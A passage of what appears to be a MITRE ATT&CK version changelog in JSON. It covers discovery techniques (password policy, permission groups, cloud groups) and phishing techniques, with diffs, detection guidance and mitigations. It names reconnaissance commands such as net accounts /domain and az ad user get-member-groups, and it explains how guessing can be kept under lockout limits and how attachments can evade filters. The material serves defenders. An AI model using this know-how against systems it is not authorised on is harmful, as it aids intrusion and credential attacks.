"{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-07-26 14:11:39.499000+00:00\", \"old_value\": \"2020-09-29 14:48:07.227000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\\n\\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies).\\n\\nPassword policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy).\", \"old_value\": \"Adversaries may attempt to access detailed information about the password policy used within an enterprise network. Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\\n\\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies.(Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,5 @@\\n-Adversaries may attempt to access detailed information about the password policy used within an enterprise network. Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\\n+Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\\n \\n-Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies.(Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies)\\n+Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies).\\n+\\n+Password policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy).\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Monitor logs and processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.\", \"old_value\": \"Monitor processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['external_references'][3]\": {\"source_name\": \"AWS GetPasswordPolicy\", \"description\": \"Amazon Web Services. (n.d.). AWS API GetAccountPasswordPolicy. Retrieved June 8, 2021.\", \"url\": \"https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html\"}, \"root['x_mitre_contributors'][0]\": \"Regina Elwell\", \"root['x_mitre_contributors'][1]\": \"Isif Ibrahima\", \"root['x_mitre_data_sources'][0]\": \"User Account: User Account Metadata\", \"root['x_mitre_platforms'][3]\": \"IaaS\"}}", "previous_version": "1.2", "version_change": "1.2 \u2192 1.3", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may attempt to access detailed information aboutt1Adversaries may attempt to access detailed information about
> the password policy used within an enterprise network. Pass> the password policy used within an enterprise network or cl
>word policies for networks are a way to enforce complex pass>oud environment. Password policies are a way to enforce comp
>words that are difficult to guess or crack through [Brute Fo>lex passwords that are difficult to guess or crack through [
>rce](https://attack.mitre.org/techniques/T1110). This would >Brute Force](https://attack.mitre.org/techniques/T1110). Thi
>help the adversary to create a list of common passwords and >s information may help the adversary to create a list of com
>launch dictionary and/or brute force attacks which adheres t>mon passwords and launch dictionary and/or brute force attac
>o the policy (e.g. if the minimum password length should be >ks which adheres to the policy (e.g. if the minimum password
>8, then not trying passwords such as 'pass123'; not checking> length should be 8, then not trying passwords such as 'pass
> for more than 3-4 passwords per account if the lockout is s>123'; not checking for more than 3-4 passwords per account i
>et to 6 as to not lock out accounts).  Password policies can>f the lockout is set to 6 as to not lock out accounts).  Pas
> be set and discovered on Windows, Linux, and macOS systems >sword policies can be set and discovered on Windows, Linux, 
>via various command shell utilities such as <code>net accoun>and macOS systems via various command shell utilities such a
>ts (/domain)</code>, <code>Get-ADDefaultDomainPasswordPolicy>s <code>net accounts (/domain)</code>, <code>Get-ADDefaultDo
></code>, <code>chage -l <username></code>, <code>cat /etc/pa>mainPasswordPolicy</code>, <code>chage -l <username></code>,
>m.d/common-password</code>, and <code>pwpolicy getaccountpol> <code>cat /etc/pam.d/common-password</code>, and <code>pwpo
>icies</code>.(Citation: Superuser Linux Password Policies) (>licy getaccountpolicies</code> (Citation: Superuser Linux Pa
>Citation: Jamf User Password Policies)>ssword Policies) (Citation: Jamf User Password Policies).  P
 >assword policies can be discovered in cloud environments usi
 >ng available APIs such as <code>GetAccountPasswordPolicy</co
 >de> in AWS (Citation: AWS GetPasswordPolicy).
", "changelog_mitigations": { "shared": [ "M1027: Password Policies", "T1201: Password Policy Discovery Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0002: User Account (User Account Metadata)", "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:30:55.471000+00:00", "modified": "2021-10-15 18:10:53.423000+00:00", "name": "Permission Groups Discovery", "description": "Adversaries may attempt to find group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "discovery" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1069", "external_id": "T1069" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/576.html", "external_id": "CAPEC-576" }, { "source_name": "K8s Authorization Overview", "description": "Kubernetes. (n.d.). Authorization Overview. Retrieved June 24, 2021.", "url": "https://kubernetes.io/docs/reference/access-authn-authz/authorization/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Daniel Prizmant, Palo Alto Networks", "Yuval Avrahami, Palo Alto Networks", "Microsoft Threat Intelligence Center (MSTIC)" ], "x_mitre_data_sources": [ "Pod: Pod Metadata", "Process: Process Creation", "Command: Command Execution", "Group: Group Enumeration", "Group: Group Metadata", "Application Log: Application Log Content" ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as kubectl auth can-i.(Citation: K8s Authorization Overview)", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows", "Azure AD", "Office 365", "SaaS", "IaaS", "Linux", "macOS", "Google Workspace", "Containers" ], "x_mitre_version": "2.4", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 18:10:53.423000+00:00\", \"old_value\": \"2021-03-30 12:29:56.512000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as kubectl auth can-i.(Citation: K8s Authorization Overview)\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n \\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n+Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as kubectl auth can-i.(Citation: K8s Authorization Overview)\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.4\", \"old_value\": \"2.3\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"K8s Authorization Overview\", \"description\": \"Kubernetes. (n.d.). Authorization Overview. Retrieved June 24, 2021.\", \"url\": \"https://kubernetes.io/docs/reference/access-authn-authz/authorization/\"}, \"root['x_mitre_contributors'][0]\": \"Daniel Prizmant, Palo Alto Networks\", \"root['x_mitre_contributors'][1]\": \"Yuval Avrahami, Palo Alto Networks\", \"root['x_mitre_data_sources'][0]\": \"Pod: Pod Metadata\", \"root['x_mitre_platforms'][8]\": \"Containers\"}}", "previous_version": "2.3", "version_change": "2.3 \u2192 2.4", "changelog_mitigations": { "shared": [ "T1069: Permission Groups Discovery Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0014: Pod (Pod Metadata)", "DS0015: Application Log (Application Log Content)", "DS0017: Command (Command Execution)", "DS0036: Group (Group Enumeration)", "DS0036: Group (Group Metadata)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-21 21:15:33.222000+00:00", "modified": "2021-06-25 12:13:37.940000+00:00", "name": "Cloud Groups", "description": "Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google (Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation).\n\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "discovery" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1069/003", "external_id": "T1069.003" }, { "source_name": "Microsoft Msolrole", "description": "Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019.", "url": "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0" }, { "source_name": "GitHub Raindance", "description": "Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.", "url": "https://github.com/True-Demon/raindance" }, { "source_name": "Microsoft AZ CLI", "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.", "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest" }, { "source_name": "Black Hills Red Teaming MS AD Azure, 2018", "description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.", "url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/" }, { "source_name": "Google Cloud Identity API Documentation", "description": "Google. (n.d.). Retrieved March 16, 2021.", "url": "https://cloud.google.com/identity/docs/reference/rest" }, { "source_name": "AWS Get Bucket ACL", "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.", "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Regina Elwell", "Isif Ibrahima" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution", "Group: Group Enumeration", "Group: Group Metadata", "Application Log: Application Log Content" ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Azure AD", "Office 365", "SaaS", "IaaS", "Google Workspace" ], "x_mitre_version": "1.3", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Regina Elwell\", \"Isif Ibrahima\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-06-25 12:13:37.940000+00:00\", \"old_value\": \"2021-03-30 12:42:46.315000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\\n\\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\\n\\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google (Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation).\\n\\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.\", \"old_value\": \"Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\\n\\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft Msolrole)(Citation: GitHub Raindance)\\n\\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,7 @@\\n Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\\n \\n-With authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft Msolrole)(Citation: GitHub Raindance)\\n+With authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\\n \\n-Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation)\\n+Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google (Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation).\\n+\\n+Adversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['external_references'][6]\": {\"source_name\": \"AWS Get Bucket ACL\", \"description\": \"Amazon Web Services. (n.d.). Retrieved May 28, 2021.\", \"url\": \"https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html\"}}}", "previous_version": "1.2", "version_change": "1.2 \u2192 1.3", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may attempt to find cloud groups and permission t1Adversaries may attempt to find cloud groups and permission 
>settings. The knowledge of cloud permission groups can help >settings. The knowledge of cloud permission groups can help 
>adversaries determine the particular roles of users and grou>adversaries determine the particular roles of users and grou
>ps within an environment, as well as which users are associa>ps within an environment, as well as which users are associa
>ted with a particular group.  With authenticated access ther>ted with a particular group.  With authenticated access ther
>e are several tools that can be used to find permissions gro>e are several tools that can be used to find permissions gro
>ups. The <code>Get-MsolRole</code> PowerShell cmdlet can be >ups. The <code>Get-MsolRole</code> PowerShell cmdlet can be 
>used to obtain roles and permissions groups for Exchange and>used to obtain roles and permissions groups for Exchange and
> Office 365 accounts.(Citation: Microsoft Msolrole)(Citation> Office 365 accounts (Citation: Microsoft Msolrole)(Citation
>: GitHub Raindance)  Azure CLI (AZ CLI) and the Google Cloud>: GitHub Raindance).  Azure CLI (AZ CLI) and the Google Clou
> Identity Provider API also provide interfaces to obtain per>d Identity Provider API also provide interfaces to obtain pe
>missions groups. The command <code>az ad user get-member-gro>rmissions groups. The command <code>az ad user get-member-gr
>ups</code> will list groups associated to a user account for>oups</code> will list groups associated to a user account fo
> Azure while the API endpoint <code>GET https://cloudidentit>r Azure while the API endpoint <code>GET https://cloudidenti
>y.googleapis.com/v1/groups</code> lists group resources avai>ty.googleapis.com/v1/groups</code> lists group resources ava
>lable to a user for Google.(Citation: Microsoft AZ CLI)(Cita>ilable to a user for Google (Citation: Microsoft AZ CLI)(Cit
>tion: Black Hills Red Teaming MS AD Azure, 2018)(Citation: G>ation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: 
>oogle Cloud Identity API Documentation)>Google Cloud Identity API Documentation).  Adversaries may a
 >ttempt to list ACLs for objects to determine the owner and o
 >ther accounts with access to the object, for example, via th
 >e AWS <code>GetBucketAcl</code> API (Citation: AWS Get Bucke
 >t ACL). Using this information an adversary can target accou
 >nts with permissions to a given object or leverage accounts 
 >they have already compromised to access the object.
", "changelog_mitigations": { "shared": [], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0015: Application Log (Application Log Content)", "DS0017: Command (Command Execution)", "DS0036: Group (Group Enumeration)", "DS0036: Group (Group Metadata)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-03-02 18:45:07.892000+00:00", "modified": "2021-10-18 17:39:13.604000+00:00", "name": "Phishing", "description": "Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\n\nAdversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "initial-access" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1566", "external_id": "T1566" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/98.html", "external_id": "CAPEC-98" }, { "source_name": "Microsoft Anti Spoofing", "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide" }, { "source_name": "ACSC Email Spoofing", "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.", "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Philip Winther" ], "x_mitre_data_sources": [ "File: File Creation", "Application Log: Application Log Content", "Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content" ], "x_mitre_detection": "Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nURL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nBecause most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Linux", "macOS", "Windows", "SaaS", "Office 365", "Google Workspace" ], "x_mitre_version": "2.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-18 17:39:13.604000+00:00\", \"old_value\": \"2021-04-14 14:38:43.211000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.2\", \"old_value\": \"2.1\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][0]\": \"File: File Creation\"}}", "previous_version": "2.1", "version_change": "2.1 \u2192 2.2", "changelog_mitigations": { "shared": [ "M1017: User Training", "M1021: Restrict Web-Based Content", "M1031: Network Intrusion Prevention", "M1049: Antivirus/Antimalware", "M1054: Software Configuration" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0015: Application Log (Application Log Content)", "DS0022: File (File Creation)", "DS0029: Network Traffic (Network Traffic Content)", "DS0029: Network Traffic (Network Traffic Flow)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-03-02 19:05:18.137000+00:00", "modified": "2021-10-18 17:39:12.452000+00:00", "name": "Spearphishing Attachment", "description": "Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "initial-access" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1566/001", "external_id": "T1566.001" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/163.html", "external_id": "CAPEC-163" }, { "source_name": "Microsoft Anti Spoofing", "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide" }, { "source_name": "ACSC Email Spoofing", "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.", "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf" }, { "source_name": "Elastic - Koadiac Detection with EQL", "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.", "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Philip Winther" ], "x_mitre_data_sources": [ "File: File Creation", "Application Log: Application Log Content", "Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow" ], "x_mitre_detection": "Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.\n\nMonitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "macOS", "Windows", "Linux" ], "x_mitre_version": "2.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-18 17:39:12.452000+00:00\", \"old_value\": \"2021-04-01 16:21:17.553000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.2\", \"old_value\": \"2.1\"}}, \"iterable_item_added\": 